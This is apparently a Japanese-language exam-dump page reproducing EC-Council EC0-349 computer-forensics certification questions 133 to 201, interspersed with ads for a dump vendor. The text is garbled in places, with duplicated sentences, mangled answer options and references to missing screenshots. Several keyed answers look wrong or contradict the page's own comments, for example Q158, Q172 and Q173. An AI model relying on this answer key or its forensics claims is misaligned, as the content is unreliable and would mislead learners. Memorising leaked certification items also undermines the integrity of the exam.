- A. ファイアウォールのバイパスに失敗しました
- B. ファイアウォールが失敗して閉じられました
- C. ファイアウォールが失敗しました
- D. ファイアウォール ACL が削除されました

Answer: ([解答を表示する](#)**)**

最新問題: 133

James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network. What type of DoS attack is James testing against his network?

- A. SYN flood
- B. Smurf
- C. Trinoo
- D. Fraggle

Answer: B ([メッセージを残す](#))

最新問題: 134

Windows XP の起動の最後にログオン ダイアログ ボックスを初期化するために処理されるファイルは何ですか？

- A. NTDETECT.COM
- B. NTOSKRNL.EXE
- C. NTLDR
- D. LSASS.EXE

Answer: ([解答を表示する](#))

最新問題: 135

Microsoft のファイル構造では、セクターがグループ化されて次の構成になります。

- A. クラスタ
- B. ドライブ
- C. ビットストリーム
- D. パーティション

Answer: A ([メッセージを残す](#))

説明/参照:

最新問題: 136

_____ は、犯罪行為の兆候があるため、民間の調査結果を当局に引き渡すことを指します。

- A. ロカール交換原理
- B. クラーク標準
- C. ケリーポリシー
- D. 銀の皿の教義

Answer: D ([メッセージを残す](#))

答えは「シルバー・プラッター・ドクトリン」がおそらく最も正しいでしょう。しかし、シルバー・プラッター・ドクトリンは、連邦職員が証拠の入手に関与していない限り、連邦裁判所が違法または不適切に「州」が押収した証拠を提出することを許可していました。また、このドクトリンは1960年にエルキンス対米国で違憲と宣言されたことにも留意したいです。

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(**49030%OFF**問題集溶と正解付きで **30%w**特別割引コード: **Freepdfdumps**)

最新問題: 137

Linux を使用してフォレンジック調査を実行する場合、次のコマンドはどのような結果をもたらすでしょうか? `dd if=/usr/home/partition.image of=/dev/sdb2 bs=4096 conv=notrunc,noerror`

- A. ディスクをイメージファイルにバックアップする
- B. イメージファイルからディスクを復元する
- C. イメージファイル内のディスクエラーを検索します
- D. パーティションをイメージファイルにコピーする

Answer: B ([メッセージを残す](#))

最新問題: 138

Web ログを確認すると、HTTP ステータス コード フィールドにリソースが見つからないというエントリが表示されます。

リソースが見つからない場合にログに表示される実際のエラー コードは何ですか？

- A. 202
- B. 606
- C. 404
- D. 999

Answer: ([解答を表示する](#)**)**

最新問題: 139

あなたは、コンピュータ不正使用事件を担当する企業のコンピュータ フォレンジック調査員として働いています。調査対象者が会社から金銭を横領していることを示す証拠を発見しました。会社の CEO と会社の法律顧問は、法執行機関に連絡して、発見した証拠を提供するようアドバイスしました。対応した法執行官は、ネットワーク スニファアをネットワークに設置して、対象のコンピュータへのすべてのトラフィックを監視するよう要求しました。あなたは、その要求に応じると次の事態が発生するため、応じることはできないと法執行官に伝えました。

- A. 契約違反
- B. 対象のハードドライブに情報を書き込む
- C. ネットワークの輻輳を引き起こす
- D. あなたを法執行機関のエージェントにする

Answer: D ([メッセージを残す](#))

最新問題: 140

あなたは独立したコンピュータ フォレンジック調査員として働いており、地元の学校システムのシステム管理者から協力を求める電話を受けました。地元の高校の生徒の 1 人が、インターネットからコンピュータ ラボの PC に不適切な画像をダウンロードした疑いがあります。学校に到着すると、システム管理者はハード ドライブを手渡し、コンピュータ ラボで PC の「簡易バックアップコピー」を作成してこのドライブに保存したと伝え、疑わしい画像の証拠がないかドライブを調べるように依頼しました。あなたは、簡易バックアップコピーでは削除されたファイルを提供したり、ファイル フラグメントを回復したりすることはできないと伝えました。どのような種類のコピーを作成する必要がありますか？

発見された証拠が完全であり、将来の訴訟で許容されるものであることを保証するために、どのような種類のコピーを作成する必要がありますか？

- A. 堅牢なコピー
- B. 増分バックアップコピー
- C. 完全バックアップコピー
- D. ビットストリームコピー

Answer: D ([メッセージを残す](#))

最新問題: 141

コンピューターフォレンジックレポートは、完全なコンピューターフォレンジック調査プロセスに関する詳細な情報を提供します。インシデントがどのように発生したかを説明し、インシデントの技術的な詳細を提供し、理解しやすいものでなければなりません。フォレンジックレポートの次の属性のうち、法廷で証拠として認められない可能性があるのはどれですか？

- A. テキスト全体にわたって単一のドキュメントスタイルを維持します
- B. インシデントに関するメタデータが含まれます
- C. 分析や結論を裏付けるレポートで言及されている関連抜粋が含まれています
- D. 事件のタイムラインに関する論理的な仮定に基づいています

Answer: D ([メッセージを残す](#))

最新問題: 142

次のコマンドは何を達成しようとしているのでしょうか？

- A. 192.168.0.0 ネットワークの UDP ポート 445 が開いていることを確認します。
- B. 192.168.0.0 ネットワークの TCP ポート 445 が開いていることを確認します。
- C. 192.168.0.0 ネットワークで NETBIOS が実行されていることを確認します。
- D. 192.168.0.0 ネットワークの UDP ポート 445 が閉じられていることを確認します。

Answer: A ([メッセージを残す](#))

説明

最新問題: 143

プロファイリングは、さまざまな活動から犯人を特定することを目的として証拠を分析する法医学的手法です。コンピューターがハッカーに侵入された後、インシデントのプロファイルを作成する上で最も重要なのは次のどれでしょうか。

- A. 攻撃の性質
- B. 攻撃に使用されたコードのロジック、フォーマット、エレガントさ
- C. インシデントで悪用された脆弱性
- D. システムの製造元が侵害された

Answer: B ([メッセージを残す](#))

最新問題: 144

レジストリ エディターのどのルート フォルダー (ハイブ) に、ハードウェア設定やソフトウェア設定など、システムの膨大な構成情報が含まれていますか？

- A. HKEY_LOCAL_MACHINE
- B. HKEY_USERS
- C. HKEY_CURRENT_USER
- D. HKEY-CURRENT_CONFIG

Answer: A ([メッセージを残す](#))

最新問題: 145

Decryption Collection のどの機能を使用すると、調査員はできるだけ早くパスワードを解読できますか？

- A. 10分であらゆるパスワードを解読
- B. 暗号化ファイルシステムのサポート
- C. MD5ハッシュ検証のサポート
- D. 16台以下のコンピュータに処理を分散する

Answer: ([解答を表示する](#))

最新問題: 146

次の電子メール ヘッダーでは、電子メールは最初にどこから送信されたのでしょうか。

- A. Somedomain.com
- B. Simon1.state.ok.gov.us
- C. Smtpt1.somedomain.com
- D. David1.state.ok.gov.us

Answer: B ([メッセージを残す](#))

最新問題: 147

次の報告書のうち、取締役会/管理者/陪審員団に宣誓のもとで提出されるものはどれですか？

- A. 書面による正式な報告書
- B. 口頭による正式な報告
- C. 口頭による非公式報告

D. 書面による非公式レポート

Answer: ([解答を表示する](#))

最新問題: 148

ルータは OSI モデルのどの層で機能しますか？

- A. 4
- B. 3
- C. 1
- D. 5

Answer: ([解答を表示する](#))

最新問題: 149

あなたは、ボストンの法律事務所に雇われ、会社のクライアントに関する機密情報にアクセスできるかどうかをテストする IT セキュリティ監査人として働いています。あなたは彼らのゴミ箱を漁りましたが、ほとんど情報を見つけられませんでした。あなたは彼らのネットワークで警報を鳴らしたくないので、彼らの Web サーバーに対してパッシブフットプリントを実行するつもりです。どのツールを使用すればよいのでしょうか？

- A. Nmap
- B. 掘る
- C. ネットクラフト
- D. ピングスイープ

Answer: C ([メッセージを残す](#))

最新問題: 150

警告バナーを使用すると、企業は従業員が想定した _____ を克服して訴訟を回避することができます。企業のイントラネット、ネットワーク、または仮想プライベートネットワーク (VPN) に接続すると、企業の調査担当者がネットワーク内に保存されている情報を監視、検索、取得できるようになります。

- A. インターネットアクセス権
- B. 言論の自由の権利
- C. 労働の権利
- D. プライバシーの権利

Answer: D ([メッセージを残す](#))

最新問題: 151

コンピューターフォレンジックを使用するのはいつが適切でしょうか？

- A. 著作権や知的財産の盗難/不正使用が発生した場合
- B. 長期間にわたり、明らかな理由もなく売上が落ち込んだ場合
- C. 金融機関が強盗に襲われた場合
- D. 従業員が上司の管理手法を気にしていない場合

Answer: A ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(**49030%OFF**問題集溶と正解付きで **30%w**特別割引コード: **Freepdfdumps**)

最新問題: 152

ジョージは、西海岸にある大手インターネット企業のネットワーク管理者です。会社の方針により、IT 部門の承認を得ずに FTP または SFTP プログラムを使用することはできません。コンピュータで SFTP プログラムを使用しているマネージャはほとんどいません。上司と話をする前に、ジョージは自分の活動の証拠が欲しいと思っています。ジョージは、ネットワーク トラフィックを監視するために Ethereal を使いたいと考えていますが、監視するのは自分のネットワークとの間の SFTP トラフィックのみです。

George は Ethereal でどのフィルターを使用すべきでしょうか？

- A. 送信元ポート 22、送信先ポート 22
- B. 送信元ポート 23、送信先ポート 23
- C. UDP ポート 22、ホスト 172.16.28.1/24
- D. ネットポート 22

Answer: A ([メッセージを残す](#))

最新問題: 153

標準の Linux 拡張ファイルシステム (Ext2fs) では、inode の内部リンク数が _____ に達するとファイルが削除されます。

- A. 1
- B. 0
- C. 10
- D. 100

Answer: ([解答を表示する](#))

最新問題: 154

不確実性や混乱を排除するためには、調査報告書の正確な形式よりも、報告書の一貫性の方が重要です。

- A. 偽
- B. 真実

Answer: B ([メッセージを残す](#))

最新問題: 155

ポールの会社では、論理的および物理的なセキュリティ テストを含む完全なセキュリティ監査を実施中です。すべての論理テストが実行された後、今度は物理的なテストが開始されます。従業員は誰もこのテストについて知らされていません。セキュリティ監査会社は、電気技師に扮した技術者を派遣します。彼はロビーの外で従業員が仕事を始めるのを待ち、立ち入り禁止区域に入ると彼らの後についていきます。

本社に入った後、彼はサーバールームに入ることができ、その部屋のコンセントに問題があることを IT マネージャーに伝えました。

技術者はどのような種類の攻撃を実行しましたか？

- A. マントラップ攻撃
- B. テールゲーティング
- C. バックトラッキング
- D. ファジング

Answer: B ([メッセージを残す](#))

最新問題: 156

電子メール ログには、調査に役立つ次のどの情報が含まれていますか？

(最大4つ選択)

- A. メッセージが送信された日時
- B. 電子メールメッセージの内容
- C. 電子メールメッセージとともに送信された添付ファイル
- D. アカウントの送信に使用されたユーザーアカウント
- E. 一意のメッセージ識別子

Answer: ([解答を表示する](#)**)**

最新問題: 157

フォレンジック調査を実行するときに、ダイナミック ディスク上のパーティションを削除してはいけないのはなぜですか？

- A. この操作によりディスクが破損する可能性があります
- B. コンピュータは常時再起動状態に設定されます
- C. 間違ったパーティションがアクティブに設定されている可能性があります
- D. すべての仮想メモリが削除されます

Answer: ([解答を表示する](#)**)**

最新問題: 158

容疑者のコンピュータを起動する予定の場合は、ハードドライブを起動することで容疑者のハードドライブ上のデータが汚染されたり変更されたりしないように、_____ を変更する必要があります。

- A. deltree コマンド
- B. CMOS

- C. Boot.sys
- D. スキャンディスクユーティリティ
- E. boot.ini

Answer: E ([メッセージを残す](#))

OS は指定されていませんが、これが Windows OS であれば、これは boot.ini になります。答えは CMOS です。コンピュータの起動はブート シーケンスであり、ブート シーケンスは CMOS で定義されます。一般的なのはフロッピーからのブートで、フロッピー (通常は A ドライブ) がシーケンスの先頭であることを確認する必要があります。そうでない場合、ハード ドライブが先頭であれば、システムを起動するとハード ドライブが起動し、証拠が変更されます。

最新問題: 159

容疑者のハードドライブに隠しパーティションが存在するかどうかを確認する方法の 1 つは、次のとおりです。

- A. LILOを調べて、パーティションタイプフィールドにHがあることを確認します。
- B. ハードドライブに隠しパーティションを作成することはできません
- C. FATを調べて、パーティションタイプフィールドにHがあるかどうかを確認して隠しパーティションを特定します。
- D. 既知のパーティションの合計サイズを合計し、ハードドライブの合計サイズと比較します。

Answer: ([解答を表示する](#)**)**

最新問題: 160

調査中のコンピューターを検索しているときに、ファイル名の最初の文字が 16 進コード バイト 5h に置き換えられていると思われるファイルが多数見つかりました。これは、コンピューター上で何を示しているのでしょうか。

- A. ファイルは読み取り専用としてマークされています
- B. ファイルは削除対象としてマークされています
- C. ファイルが破損しており、回復できません
- D. ファイルは非表示としてマークされています

Answer: ([解答を表示する](#)**)**

最新問題: 161

MD5 プログラムは、次の目的で使用されます。

- A. 証拠ディスクにディレクトリを作成する
- B. リサイクルする前に磁気メディアを消去してください
- C. 証拠ドライブ上のグラフィックファイルを表示する
- D. ディスクを検査するときにディスクが変更されていないことを確認する

Answer: D ([メッセージを残す](#))

最新問題: 162

サイモンは法廷で自分の主張を述べる際、多くの証人を証言台に呼びます。

サイモンは、一般の証人であるヒラリー・タフトを証言台に呼ぶことにしました。ヒラリーは一般の証人ですが、どの分野の専門家と見なされるでしょうか？

- A. 被告人/被害者の性格を判断する
- B. 法医学に関する技術資料
- C. 法的問題
- D. 特定のフィールドなし

Answer: ([解答を表示する](#))

最新問題: 163

デマやウイルスを追跡する対応組織はどれですか？

- A. NIPC
- B. 連邦通信委員会
- C. CERT
- D. CIAC

Answer: ([解答を表示する](#))

注: CIAC (コンピュータインシデントアドバイザリ機能) は米国エネルギー省によって運営されていました。

最新問題: 164

新しい Web サイトを公開する前に、最後のテストを実行しています。Web サイトには多くの動的ページがあり、データベース内の製品在庫にアクセスする SQL バックエンドに接続しています。脆弱性をチェックするために、Web ページの検索フィールドに次のコードを入力することを推奨する Web セキュリティ サイトを見つけました。これを入力して検索をクリックすると、これはテストです」というポップアップウィンドウが表示されます。このテストの結果は何でしょうか。

- A. あなたのウェブサイトはCSSに対して脆弱です
- B. あなたのウェブサイトは脆弱ではありません
- C. あなたのウェブサイトはSQLインジェクションに対して脆弱です
- D. あなたのウェブサイトはウェブバグに対して脆弱です

Answer: A ([メッセージを残す](#))

説明/参照:

最新問題: 165

Evidor ツールには、Windows 組み込み検索に比べてどのような利点がありますか？

- A. ハードドライブ上の不良セクタを見つけることができます
- B. 物理的に削除された後でも削除されたファイルを見つけることができます
- C. ADS内に隠されたファイルを見つけることができる
- D. スラックスペースを検索できる

Answer: D ([メッセージを残す](#))

最新問題: 166

ジャック・スミスはメイソン・コンピュータ調査サービスに勤務する法医学調査員です。彼はラームウイルスに感染したコンピュータを調査しています。

彼はマシン上で netstat コマンドを実行し、現在の接続を確認します。次のスクリーンショットで、IP アドレス 0.0.0.0 は何を意味していますか？

- A. これらの接続はタイムアウト/待機モードです
- B. これらの接続は閉じた/待機モードです
- C. これらの接続は確立されています
- D. これらの接続はリスニングモードです

Answer: D ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！ GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(490**30%OFF**問題集溶と正解付きで 30%w 特別割引コード: **Freepdfdumps**)

最新問題: 167

電子メールのアーカイブは、電子メールに含まれるデータを保存および保護し、後日簡単にアクセスできるようにする体系的なアプローチです。

- A. 真実
- B. 偽

Answer: A ([メッセージを残す](#))

最新問題: 168

ジムはネットワークの脆弱性分析を実行しましたが、潜在的な問題は見つかりませんでした。ジムは、脆弱性テストの結果を検証するために、システムに対してエクスプロイトを実行する別のユーティリティを実行しました。2 番目のユーティリティは、脆弱性分析でエクスプロイト不可能とされた 5 つの既知のエクスプロイトをネットワークに対して実行しました。ジムは脆弱性分析からどのような結果を得ましたか？

- A. 真陰性
- B. 誤検知
- C. 偽陰性
- D. 真陽性

Answer: C ([メッセージを残す](#))

最新問題: 169

フォレンジック ツールの DriveSpy を使用しており、プライマリ ハード ドライブの開始セクターが 1709 である 150 セクターをコピーしたいと考えています。これらのセクターを正しく指定する形式は次のどれですか。

- A. 0:1000, 150
- B. 0:1709, 150
- C. 1:1709, 150
- D. 0:1709-1858

Answer: [\(解答を表示する\)](#)

最新問題: 170

Office ドキュメント (Word、Excel、PowerPoint) には、ドキュメントを作成したマシンの MAC または一意の識別子を追跡できるコードが含まれています。そのコードは何と呼ばれますか？

- A. グローバルに一意のID
- B. Microsoft 仮想マシン識別子
- C. 個人アプリケーションプロトコル
- D. 個別のASCII文字列

Answer: A ([メッセージを残す](#))

最新問題: 171

警告バナーを使用すると、従業員が会社のイントラネット、ネットワーク、または仮想プライベート ネットワーク (VPN) に接続するときに想定される _____ を克服して、会社は訴訟を回避できます。また、会社の調査担当者は、会社のイントラネット、ネットワーク、または仮想プライベート ネットワーク (VPN) に接続する際に、従業員が想定する _____ を克服して、会社は訴訟を回避できます。

調査員がネットワーク内に保存されている情報を監視、検索、取得できるようにします。

- A. 労働の権利
- B. 言論の自由の権利
- C. プライバシーの権利
- D. インターネットアクセス権

Answer: C ([メッセージを残す](#))

最新問題: 172

FAT32 ファイル システムでは、125 KB のファイルはいくつのセクターを使用しますか？

- A. 256
- B. 16
- C. 32
- D. 25

Answer: A ([メッセージを残す](#))

最新問題: 173

次の抜粋はハニーポット ログから抜粋したものです。ログには 3 日間にわたるアクティビティが記録されています。

侵入の試みは数回ありますが、そのうちいくつかは成功しています。

(注この質問の目的は、学生がログエントリから基本的な情報を読み取り、攻撃の性質を解釈できるかどうかをテストすることです。)4月24日14:46:46 [4663] spp_portscan portscanが検出されました

194.222.156.169

4月24日 14:46:46 [4663]: IDS27/FINスキャン: 194.222.156.169:56693 ->

172.16.1.107:482

4月24日 18:01:05 [4663]: IDS/DNSバージョクエリ: 212.244.97.121:3485 ->

172.16.1.107:53

4月24日 19:04:01 [4663]: IDS213/ftp-passwd-retrieval:

194.222.156.169:1425 -> 172.16.1.107:21

4月25日 08:02:41 [5875]: spp_portscan: ポートスキャンが検出されました

24.9.255.53

4月25日 02:08:07 [5875]: IDS277/DNSバージョクエリ: 63.226.81.13:4499 ->

172.16.1.107:53

4月25日 02:08:07 [5875]: IDS277/DNSバージョクエリ: 63.226.81.13:4630 ->

172.16.1.101:53

4月25日 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 ->

172.16.1.107:111

4月25日 19:37:32 [5875]: IDS230/web-cgi-space-wildcard:

198.173.35.164:4221 -> 172.16.1.107:80

4月26日 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 ->

172.16.1.101:53

4月26日 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 ->

172.16.1.107:53

4月26日 06:44:25 被害者7 PAM_pwdb[12509]: (ログイン)セッションが開かれました

ユーザーシンプル (uid=0)

4月26日 06:44:36 被害者7 PAM_pwdb[12521]: (su) ユーザーのセッションが開かれました

simon by simple(uid=506)

4月26日 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 ->

172.16.1.107:1080

4月26日 06:52:10 [6283]: IDS127/telnetログインが正しくありません: 172.16.1.107:23

-> 213.28.22.189:4558

以下のオプションから、次のエントリを最も適切に解釈するものを選択してください。

4月26日 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 ->

172.16.1.107:53

A. IDS回避テクニック

B. 63.226.81.13 からデータを取得しています

C. DNSゾーン転送

D. バッファオーバーフローの試み

Answer: A ([メッセージを残す](#))

最新問題: 174

TCP ヘッダー パケットの送信元ポート番号は何ビットですか？

A. 64

B. 16

C. 32

D. 48

Answer: B ([メッセージを残す](#))

最新問題: 175

ごみ箱はファイルを捨てるというメタファーとして存在しますが、ユーザーがファイルを取得して復元することもできます。ファイルがごみ箱に移動されると、ごみ箱にあるログ ファイルに記録が追加されます。

次のファイルのうち、ごみ箱内の削除された各ファイルに対応するレコードが含まれているのはどれですか？

A. INFO2 ファイル

B. LOGINFO1 ファイル

C. INFO1 ファイル

D. LOGINFO2 ファイル

Answer: ([解答を表示する](#))

最新問題: 176

容疑者は、アダルト Web サイトにアクセスし、画像をダウンロードしたため、コンピューター リソースの許容使用法に違反したとされています。捜査官は、容疑者が実際にこれらのサイトにアクセスしたことを証明したいと考えています。しかし、容疑者は検索履歴を消去し、Cookie キャッシュを空にしています。さらに、ダウンロードした可能性のある画像もすべて削除しています。捜査官は違反を証明するために何ができるでしょうか。最も実現可能なオプションを選択してください。

A. 証拠を求めてウェブサイトアクセスする

B. Windows レジストリで接続データを確認します (回復できる場合とできない場合があります)

C. ディスクをイメージ化し、削除されたファイルを回復する

D. 目撃者である同僚の助けを求める

Answer: C ([メッセージを残す](#))

最新問題: 177

マディソンは大学の内部ネットワークに侵入した疑いで裁判にかけられています。警察は彼女の寮の部屋を捜索し、彼女のコンピューター機器をすべて押収しました。マディソンの弁護士は、押

収は事実無根であると裁判官を説得しようとしています。合衆国憲法修正第 3 条では、コンピュータ機器は、何らの根拠もなく押収されたとされています。

マディソンの弁護士は、押収は根拠のないものであると裁判官を説得しようとしている。マディソンの弁護士は、警察がどの合衆国憲法修正条項に違反したことを証明しようとしているのか？マディソンの弁護士は、警察がどの合衆国憲法修正条項に違反したことを証明しようとしているのか？

- A. 修正第10条
- B. 憲法修正第5条
- C. 憲法修正第4条
- D. 憲法修正第1条

Answer: C ([メッセージを残す](#))

最新問題: 178

テキサス州ダラスの小さな会社の Active Directory ネットワーク上の下位レベルの管理者アカウントが侵害されました。列挙によってドメイン コントローラーを検出します。ldp.exe を使用して、ポート 389 のドメイン コントローラーの 1 つに接続します。

ここで何を達成しようとしているのですか？

- A. DNSからMXレコードとAレコードを列挙する
- B. ドメイン コントローラへのリモート接続を確立します
- C. ドメイン ユーザー アカウントと組み込みグループを列挙する
- D. DNS レコードを偽のレコードで汚染する

Answer: C ([メッセージを残す](#))

最新問題: 179

国防総省 (DoD) のネットワークをパッシブ スキャンした後、アクティブ スキャンに切り替えて、ネットワーク上のライブ ホストを特定します。DoD は大規模な組織であるため、スキャンの数に関係なく応答する必要があります。IP パケットをブロードキャスト アドレスに送信して、ICMP ping スweepを開始します。ICMP ping に応答するホストは 5 つだけで、予想していたホストの数とはまったく異なります。この ping スweepで応答が数個しかなかったのはなぜでしょうか。

- A. このスキャンには Unix および Unix ライクなシステムのみが応答します
- B. このスキャンには IBM AS/400 のみが応答します
- C. このスキャンには Windows システムのみが応答します
- D. スイッチドネットワークはブロードキャストアドレスに送信されたパケットには応答しません。

Answer: A ([メッセージを残す](#))

最新問題: 180

専門家証人とは、教育、職業、または経験により、平均的な人を超える主題に関する特別な知識を持ち、他の人が法的にその意見に依拠できるほど十分な証人であると考えられている証人です。

- A. 偽

B. 真実

Answer: B ([メッセージを残す](#))

最新問題: 181

Web サーバーの IIS ログ ファイルを調べているときに、次のエントリが見つかりました。
このログファイルから何がわかりますか？

- A. 隠しフィールド
- B. クロスサイトスクリプティング
- C. Web バグ
- D. SQLインジェクションの可能性がありす

Answer: D ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(**49030%OFF**問題集溶と正解付きで **30%w** 特別割引コード: **Freepdfdumps**)

最新問題: 182

ハッカーは Windows レジストリにアクセスし、ユーザー パスワード、DNS 設定、アクセス権、または目的を達成するために必要なその他の機能を実行できます。起動時にアプリケーションをロードする簡単な方法の 1 つは、次のレジストリ ハイブにエントリ (キー) を追加することです。

- A. HKEY_LOCAL_MACHINE\hardware\windows\start
- B. HKEY_CURRENT_USER\Microsoft\Default
- C. HKEY_LOCAL_USERS\Software\Microsoft\old\Version\Load
- D. HKEY_LOCAL_MACHINE\Software\Microsoft\CurrentVersion\Run

Answer: (解答を表示する)

最新問題: 183

The objective of this act was to protect consumers' personal financial information held by financial institutions and their service providers.

- A. California SB 1386
- B. HIPAA
- C. Gramm-Leach-Bliley Act
- D. Sarbanes-Oxley 2002

Answer: C ([メッセージを残す](#))

最新問題: 184

Encase が使用するどのような技術により、一度入手した証拠を改ざんすることが事実上不可能になるのでしょうか？

- A. ファイルのすべてのバイトが3つの異なるハードドライブにコピーされます
- B. ファイルの各バイトは3つの異なる方法で暗号化されます
- C. ファイルのすべてのバイトは32ビットCRCを使用して検証されます。
- D. ファイルの各バイトにMD5ハッシュが付与され、マスターファイルと照合されます。

Answer: ([解答を表示する](#))

最新問題: 185

すべてのコンピューターフォレンジック調査中に実行する標準的な手順はどれですか？

- A. 疑わしいPCからハードドライブを取り外し、システムRAMの日付と時刻を確認します。
- B. 疑わしいPCのハードドライブで、ファイルアロケーションテーブルの日付と時刻を確認します。
- C. 疑わしいPCのハードドライブで、システムCMOSの日付と時刻を確認します。
- D. 疑わしいPCからハードドライブを取り外し、システムCMOSの日付と時刻を確認します。

Answer: D ([メッセージを残す](#))

最新問題: 186

Where is the startup configuration located on a router?

- A. NVRAM
- B. Dynamic RAM
- C. Static RAM
- D. BootROM

Answer: ([解答を表示する](#))

最新問題: 187

次のスクリーンショットの CIDR は何ですか？

- A. /32 B./32 B./32
- B. /16 C./16 C./16
- C. /8D./8D./8
- D. /24A./24A./24

Answer: ([解答を表示する](#))

最新問題: 188

aa/ddmmyy/nnnn/zz形式で収集された証拠をマークする場合、nnnは何を意味しますか？

aa/ddmmyy/nnnn/zz形式で収集された証拠をマークする場合、nnnは何を意味しますか？

?aa/ddmmyy/nnnn/zz?形式の場合、?nnn?は何を意味しますか？

- A. 押収された証拠品の通し番号
- B. 同じ展示品の部品のシーケンス番号
- C. 法医学分析官のイニシャル

D. 証拠が採取された年

Answer: ([解答を表示する](#))

最新問題: 189

ハードディスク上のトラック番号は、外端から 0 から始まり、中心に向かって移動し、通常は _____ の値に達します。

A. 1023

B. 2023

C. 1024

D. 1020

Answer: A ([メッセージを残す](#))

最新問題: 190

システムが侵害されると、攻撃者は多くの場合、監査を無効にしようとします。Windows 7 では、監査ポリシーの変更はイベント ID _____ のエントリとして記録されます。

A. 3904

B. 3902

C. 4902

D. 4904

Answer: C ([メッセージを残す](#))

最新問題: 191

ログ ファイルを法廷で証拠として提出できるようにするには、企業はどのくらいの頻度でログ ファイルを保存する必要がありますか？

A. ログファイルは頻度に関係なく法廷で証拠として認められる

B. 毎月

C. 毎週

D. 継続的に

Answer: D ([メッセージを残す](#))

最新問題: 192

Linux/Unix ベースの Web サーバーでは、デーモン サービスをどのような権限で実行する必要がありますか？

A. ゲスト

B. ルート以外のもの

C. ルート

D. デーモンサービスを実行する権限を特定できません

Answer: ([解答を表示する](#))

最新問題: 193

侵入検知システム (IDS) は、コンピューターまたはネットワーク内から情報を収集して分析し、不正アクセスや不正使用などのセキュリティ ポリシー違反の可能性を特定します。

次の侵入検知システムのうち、特定のホストで発生するイベントを監査するものはどれですか？

- A. ファイルの整合性チェック
- B. ログファイルの監視
- C. ネットワークベースの侵入検知
- D. ホストベースの侵入検知

Answer: D ([メッセージを残す](#))

最新問題: 194

あなたは、ある会社の財務部門におけるコンピューター詐欺の可能性を調査するよう依頼されました。

スタッフが承認されていない小切手を印刷して金融詐欺を犯した疑いがあります。ターゲット コンピューターのビットマップ イメージ上のすべてのデータ ファイルを徹底的に検索しましたが、証拠は見つかりませんでした。ファイルが保存されていない可能性があります。この場合、次に何を調査する必要がありますか？

- A. メタデータ
- B. ごみ箱
- C. スワップファイル
- D. レジストリ

Answer: C ([メッセージを残す](#))

最新問題: 195

次の 16 進ビューア レコードからメッセージの長さを決定します。

- A. 13
- B. 810D
- C. 6E2F
- D. 27

Answer: B ([メッセージを残す](#))

最新問題: 196

Blackberry デバイスをパスワード保護するために使用されるハッシュ方法は何ですか？

- A. SHA-1
- B. RC5
- C. MD5
- D. AES

Answer: (解答を表示する)

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(490**30%OFF**問題集溶と正解付きで 30%w特別割引コード: **Freepdfdumps**)

最新問題: 197

NTFS ディスクのマスター ファイル テーブル (MFT) でコロン (:) とその後続く名前で見られるファイルの種類は何ですか？

- A. データストリームファイル
- B. 圧縮ファイル
- C. 予約ファイル
- D. 暗号化されたファイル

Answer: A ([メッセージを残す](#))

最新問題: 198

クリスは、顧客の 1 人から報告されたハッキング事件の調査を依頼されました。会社は、この攻撃に内部関係者が関与しているのではないかと疑っています。事件現場に到着すると、クリスは物理的なエリアを確保し、映像メディアを使用して現場を記録します。彼は、システムに一切影響を与えないように、電源プラグを抜いてシステムをシャットダウンします。彼は、取り外す前にすべてのケーブルとコネクタにラベルを付けます。次に起こる一連の出来事はどうなると思いますか？

- A. 証拠を確保する; 取得のためにシステムを準備する; ターゲットメディアを接続する; メディアをコピーする
- B. ターゲットメディアを接続する; 取得のためにシステムを準備する; 証拠を確保する; メディアをコピーする
- C. 取得のためのシステムを準備する; 対象メディアを接続する; メディアをコピーする; 証拠を確保する
- D. ターゲットメディアを接続する; 取得のためにシステムを準備する; 証拠を確保する; メディアをコピーする

Answer: ([解答を表示する](#)**)**

最新問題: 199

法医学の目的は何ですか？

- A. 犯罪現場と関連証拠の証拠価値を判断する
- B. 調査機関の善意を守る
- C. 情報セキュリティ侵害の影響を軽減する
- D. 法的手続きを扱うのは弟子である

Answer: ([解答を表示する](#)**)**

最新問題: 200

DHCP を使用して IP アドレスを割り当てるネットワークを調査する場合、特定の時間にどのシステム (MAC アドレス) が特定の IP アドレスを持っていたかを判断するにはどこを調べますか？

- A. Webサーバーのログファイル内
- B. 特定のIPアドレスを特定する方法はありません
- C. 個々のコンピュータのARPキャッシュ上
- D. DHCPサーバーのログファイル内

Answer: D ([メッセージを残す](#))

最新問題: 201

